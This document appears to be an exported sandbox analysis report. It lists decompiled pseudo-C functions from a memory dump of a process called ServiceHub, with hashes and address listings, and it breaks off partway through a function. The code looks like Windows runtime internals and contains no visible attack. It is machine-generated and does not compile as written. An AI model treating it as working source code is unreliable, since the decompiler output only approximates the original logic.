                                          0x00000000
                                          0x011da69d
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 67b56528cd382096a945d39e276de88eb9b324dba1b2ad393fc1cbf36c5c84ea
                                          • Instruction ID: 239cc23019e4b93d929e13bdb66cc29e94d1237146258f620fe6a622d2ce4fbe
                                          • Opcode Fuzzy Hash: 67b56528cd382096a945d39e276de88eb9b324dba1b2ad393fc1cbf36c5c84ea
                                          • Instruction Fuzzy Hash: 5241BC75A10215DFCF19CF58D490B99BBF1FF59308F158069EA05AB348D375A940CF54
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011CC182 Relevance: .1, Instructions: 104COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 68%
                                          			E011CC182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
				signed int* _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				signed char _t43;
				signed char _t48;
				signed char _t62;
				void* _t63;
				intOrPtr _t69;
				intOrPtr _t71;
				unsigned int* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E011C7D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E01278D34(_v8, _t80);
					}
					E011C2280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E011BFFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E01278833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E011BFFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E011EB180();
						if(_a4 != 0) {
							E011C2280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E011CBB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E011CBB2D(_t16, _t15);
						E011CB944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E011BFFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E011BFFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E011BFFB0(0, __ecx, _t24);
				}
				return 0;
			}
















                                          0x011cc18d
                                          0x011cc18f
                                          0x011cc191
                                          0x011cc19b
                                          0x011cc1a0
                                          0x011cc1d4
                                          0x011cc1de
                                          0x01212d6e
                                          0x011cc1e4
                                          0x011cc1e4
                                          0x011cc1e4
                                          0x011cc1ec
                                          0x01212d7d
                                          0x01212d7d
                                          0x011cc1f3
                                          0x011cc1ff
                                          0x01212d88
                                          0x01212d8d
                                          0x01212d94
                                          0x01212d94
                                          0x01212d9f
                                          0x01212da4
                                          0x01212dab
                                          0x01212db0
                                          0x01212db2
                                          0x01212db3
                                          0x01212db4
                                          0x01212dbc
                                          0x01212dc3
                                          0x01212dc3
                                          0x011cc205
                                          0x011cc205
                                          0x011cc208
                                          0x011cc20e
                                          0x011cc211
                                          0x011cc216
                                          0x011cc219
                                          0x011cc21f
                                          0x011cc222
                                          0x011cc22c
                                          0x011cc234
                                          0x011cc23a
                                          0x011cc23f
                                          0x011cc245
                                          0x011cc24b
                                          0x011cc251
                                          0x011cc25a
                                          0x011cc276
                                          0x011cc27d
                                          0x011cc27d
                                          0x011cc25c
                                          0x011cc25c
                                          0x00000000
                                          0x011cc25e
                                          0x011cc1a4
                                          0x011cc1aa
                                          0x011cc1b3
                                          0x011cc265
                                          0x011cc26c
                                          0x011cc26c
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
                                          • Instruction ID: 305fc229c89497027a3d85a3748fee7ba33c12f02a112a0b2240f26218a280e4
                                          • Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
                                          • Instruction Fuzzy Hash: E6311472A0554BEAD70DEBB8C880BE9FB95BF72608F14415ED51C87201DB346E06CBE2
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01227016 Relevance: .1, Instructions: 104COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 76%
                                          			E01227016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x129d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E01226B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E01226B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E011C7D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E011E9AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E011EB640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L011C4620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}






















                                          0x01227016
                                          0x0122701e
                                          0x0122702b
                                          0x01227033
                                          0x01227037
                                          0x0122703c
                                          0x0122703e
                                          0x01227041
                                          0x01227045
                                          0x0122704a
                                          0x01227050
                                          0x01227055
                                          0x0122705a
                                          0x01227062
                                          0x01227062
                                          0x0122705a
                                          0x01227064
                                          0x01227064
                                          0x01227067
                                          0x01227071
                                          0x01227096
                                          0x0122709b
                                          0x012270a2
                                          0x012270a6
                                          0x012270a7
                                          0x012270ad
                                          0x012270b3
                                          0x012270b6
                                          0x012270bb
                                          0x012270c3
                                          0x012270c3
                                          0x012270c6
                                          0x012270cd
                                          0x012270dd
                                          0x012270e0
                                          0x012270e2
                                          0x012270e2
                                          0x012270ee
                                          0x01227101
                                          0x012270f0
                                          0x012270f9
                                          0x012270f9
                                          0x0122710a
                                          0x0122710e
                                          0x01227112
                                          0x01227117
                                          0x01227118
                                          0x01227118
                                          0x012270bb
                                          0x0122711d
                                          0x01227123
                                          0x01227131
                                          0x01227131
                                          0x01227136
                                          0x0122713d
                                          0x0122713e
                                          0x0122713f
                                          0x0122714a
                                          0x0122714a
                                          0x01227084
                                          0x01227088
                                          0x00000000
                                          0x0122708e
                                          0x0122708e
                                          0x01227092
                                          0x00000000
                                          0x01227092

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3dbd09a9bb91b899ab23f91d749bfa8266aecd7fcb9413b5decac202fcc82328
                                          • Instruction ID: 6c3d965462107e58df293b4b34acfeb1df2b5e8a69497ea0c6b03bfee0b6ddb3
                                          • Opcode Fuzzy Hash: 3dbd09a9bb91b899ab23f91d749bfa8266aecd7fcb9413b5decac202fcc82328
                                          • Instruction Fuzzy Hash: B131E872618762ABC324DF68C840A6EB7E5BFD8700F044A1DF99597690E730E904CBA5
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DA70E Relevance: .1, Instructions: 96COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 92%
                                          			E011DA70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x1297b10; // 0x0
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x1297b10 = 8;
					 *0x1297b14 = 0x1297b0c;
					 *0x1297b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0x1
					E011DA990(0x1297b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L011DA840(__edx, __ecx, __ecx, _t52, 0x1297b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x1297b10; // 0x0
					_t3 = _t37 + 0x27; // 0x27
					__eflags = _t3 >> 5 -  *0x1297b18; // 0x0
					if(__eflags > 0) {
						_t38 =  *0x1297b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x27
						_v8 = _t4 >> 5;
						_t50 = L011C4620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x1297b18 = _v8;
						_t8 = _t52 + 7; // 0x7
						E011EF3E0(_t50,  *0x1297b14, _t8 >> 3);
						_t28 =  *0x1297b14; // 0x0
						__eflags = _t28 - 0x1297b0c;
						if(_t28 != 0x1297b0c) {
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x8
						 *0x1297b14 = _t50;
						_t48 = _v12;
						 *0x1297b10 = _t9;
						goto L6;
					}
					 *0x1297b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}
















                                          0x011da713
                                          0x011da714
                                          0x011da717
                                          0x011da71d
                                          0x011da720
                                          0x011da722
                                          0x011da727
                                          0x011da74a
                                          0x011da754
                                          0x011da75e
                                          0x011da768
                                          0x011da76a
                                          0x011da773
                                          0x011da78b
                                          0x011da790
                                          0x011da792
                                          0x011da741
                                          0x011da741
                                          0x011da743
                                          0x011da749
                                          0x011da749
                                          0x011da732
                                          0x011da73a
                                          0x011da797
                                          0x011da79d
                                          0x011da7a3
                                          0x011da7a9
                                          0x011da7b6
                                          0x011da7bc
                                          0x011da7ca
                                          0x011da7e0
                                          0x011da7e2
                                          0x011da7e4
                                          0x01219bf2
                                          0x00000000
                                          0x01219bf2
                                          0x011da7ed
                                          0x011da7f2
                                          0x011da800
                                          0x011da805
                                          0x011da80d
                                          0x011da812
                                          0x01219c08
                                          0x01219c08
                                          0x011da818
                                          0x011da81b
                                          0x011da821
                                          0x011da824
                                          0x00000000
                                          0x011da824
                                          0x011da7ae
                                          0x00000000
                                          0x011da7ae
                                          0x011da73c
                                          0x011da73e
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 28e86c7a41cf01efbad7f8baff432a37bb8ab382a2fb90dd444b9eefb3177895
                                          • Instruction ID: 4eb879d4b6ed0d1ea97f8193abca4a58d2c5af2e1637bb658ef863292cc9661b
                                          • Opcode Fuzzy Hash: 28e86c7a41cf01efbad7f8baff432a37bb8ab382a2fb90dd444b9eefb3177895
                                          • Instruction Fuzzy Hash: EB31EFB16246059FC729CF0CF8A4F697BF9FB95710F15095AE20587248E3B1AA01CF92
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D61A0 Relevance: .1, Instructions: 93COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 97%
                                          			E011D61A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E011D5E50(0x11867cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E01279D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E011AF7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}



















                                          0x011d61b3
                                          0x011d61b5
                                          0x011d61bd
                                          0x011d61c3
                                          0x011d61c7
                                          0x011d61d2
                                          0x011d61ff
                                          0x011d61ff
                                          0x011d6201
                                          0x011d6207
                                          0x011d6207
                                          0x011d61d4
                                          0x011d61d9
                                          0x00000000
                                          0x00000000
                                          0x011d61df
                                          0x011d61e2
                                          0x00000000
                                          0x00000000
                                          0x011d61e6
                                          0x011d61e8
                                          0x011d61ee
                                          0x011d61ee
                                          0x011d61f9
                                          0x0121762f
                                          0x01217632
                                          0x01217635
                                          0x01217639
                                          0x01217640
                                          0x0121766e
                                          0x01217675
                                          0x00000000
                                          0x00000000
                                          0x01217681
                                          0x01217689
                                          0x0121768d
                                          0x01217691
                                          0x01217695
                                          0x01217699
                                          0x012176af
                                          0x012176b5
                                          0x012176b7
                                          0x012176b7
                                          0x012176d7
                                          0x012176dc
                                          0x00000000
                                          0x012176dc
                                          0x012176a2
                                          0x012176a9
                                          0x01217651
                                          0x01217653
                                          0x01217653
                                          0x01217656
                                          0x01217656
                                          0x00000000
                                          0x01217656
                                          0x01217644
                                          0x01217646
                                          0x01217648
                                          0x01217648
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b487b0b2ec6f3d75a7781396a55adca8bee2005c03a86c03414b7d5c6e7c9761
                                          • Instruction ID: 86fba58f2ab81a0d386856483b16b327601804d21cac8496de2daed55912d433
                                          • Opcode Fuzzy Hash: b487b0b2ec6f3d75a7781396a55adca8bee2005c03a86c03414b7d5c6e7c9761
                                          • Instruction Fuzzy Hash: B0318F726157428FE364DF1DC800B2ABBE5FBA8B00F05496DEA9497355E7B0E844CB91
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011AAA16 Relevance: .1, Instructions: 93COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 95%
                                          			E011AAA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x129d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x1297b9c; // 0x0
					_t53 = L011C4620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E011EB640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E011EF3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L011B6C59(_t53, _t51, _t58) != 0) {
							_t28 = E011D5E50(0x118c338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E011DB230(_v32, _v28, 0x118c2d8, 1,  &_v24);
								_t28 = E011AF7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}




















                                          0x011aaa25
                                          0x011aaa29
                                          0x011aaa2d
                                          0x011aaa30
                                          0x011aaa37
                                          0x011aaa3c
                                          0x01204458
                                          0x01204458
                                          0x01204472
                                          0x01204474
                                          0x01204476
                                          0x011aaa64
                                          0x011aaa74
                                          0x0120447c
                                          0x01204483
                                          0x01204492
                                          0x011aaa52
                                          0x011aaa54
                                          0x011aaa5e
                                          0x012044a8
                                          0x012044ad
                                          0x012044af
                                          0x012044b6
                                          0x012044b6
                                          0x012044b9
                                          0x012044bc
                                          0x012044cd
                                          0x012044d3
                                          0x012044d6
                                          0x012044e1
                                          0x012044e1
                                          0x012044e6
                                          0x012044e8
                                          0x012044fb
                                          0x012044fb
                                          0x012044e8
                                          0x00000000
                                          0x011aaa5e
                                          0x01204476
                                          0x011aaa42
                                          0x011aaa46
                                          0x011aaa48
                                          0x011aaa4c
                                          0x00000000
                                          0x00000000
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d06d7bc0d5a5deda8307769c0acbe20943851b34bb6ade0b500879a69a37fbeb
                                          • Instruction ID: 8098b5f7149cca62703bbf15d62723ed07c9c63b113f0b9f3d4aff776950aa3a
                                          • Opcode Fuzzy Hash: d06d7bc0d5a5deda8307769c0acbe20943851b34bb6ade0b500879a69a37fbeb
                                          • Instruction Fuzzy Hash: DA31F771A0061AABCF19AFA8DD41ABFB7B9FF54704F414069FA01D7240E7749D11CBA0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E4A2C Relevance: .1, Instructions: 92COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 58%
                                          			E011E4A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0x129d360 ^ _t62;
				_v8 =  *0x129d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E011C2280(_t26, 0x1298608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E011BFFB0(_t41, _t51, 0x1298608);
						L2:
						 *0x129b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E011EB640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E011C2280(_t28, 0x1298608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E011BFFB0(_t42, _t53, 0x1298608);
							if(_t53 != 0) {
								L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E011BFFB0(_t41, _t51, 0x1298608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}
























                                          0x011e4a2c
                                          0x011e4a34
                                          0x011e4a3c
                                          0x011e4a3e
                                          0x011e4a48
                                          0x011e4a4b
                                          0x011e4a4d
                                          0x011e4a51
                                          0x011e4a9c
                                          0x00000000
                                          0x00000000
                                          0x011e4aa3
                                          0x011e4aa8
                                          0x011e4aad
                                          0x011e4ab1
                                          0x011e4ade
                                          0x011e4ae3
                                          0x011e4a5a
                                          0x011e4a62
                                          0x011e4a6a
                                          0x011e4a6e
                                          0x0121f203
                                          0x011e4a84
                                          0x011e4a88
                                          0x011e4a89
                                          0x011e4a8a
                                          0x011e4a95
                                          0x011e4a95
                                          0x011e4a79
                                          0x011e4a80
                                          0x011e4af2
                                          0x011e4af4
                                          0x011e4af9
                                          0x011e4aff
                                          0x011e4b01
                                          0x011e4b03
                                          0x011e4b08
                                          0x0121f20a
                                          0x0121f212
                                          0x0121f216
                                          0x0121f216
                                          0x011e4b08
                                          0x011e4b13
                                          0x011e4b1a
                                          0x0121f229
                                          0x0121f229
                                          0x011e4b1a
                                          0x011e4a82
                                          0x00000000
                                          0x011e4a82
                                          0x011e4ab7
                                          0x011e4acd
                                          0x011e4acd
                                          0x011e4ad5
                                          0x011e4ada
                                          0x00000000
                                          0x011e4ada
                                          0x011e4ac2
                                          0x011e4acb
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011e4acb
                                          0x011e4a53
                                          0x011e4a53
                                          0x011e4a58
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7106f6584b72121f7c0252ddb7b58dbe669dfa6dbe66214071240257ae44aba2
                                          • Instruction ID: 9507a136d386e4481c171b8fe347d208316f8ae09826c68610d4e975c08afd81
                                          • Opcode Fuzzy Hash: 7106f6584b72121f7c0252ddb7b58dbe669dfa6dbe66214071240257ae44aba2
                                          • Instruction Fuzzy Hash: 5E312332215A059FDB29DF99C988B2AFBE5FBC5B24F05041DE5528BA41C7B0D800CBC6
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011E8EC7 Relevance: .1, Instructions: 92COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 93%
                                          			E011E8EC7(void* __ecx, void* __edx) {
				signed int _v8;
				signed int* _v16;
				intOrPtr _v20;
				signed int* _v24;
				char* _v28;
				signed int* _v32;
				intOrPtr _v36;
				signed int* _v40;
				signed int* _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int* _v56;
				signed int* _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char* _v76;
				signed int* _v80;
				signed int _v84;
				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				signed int* _v152;
				char _v156;
				signed int* _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x129d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E011D4E70(0x12986e4, 0x11e9490, 0, 0);
					if( *0x12953e8 > 5 && E011E8F33(0x12953e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
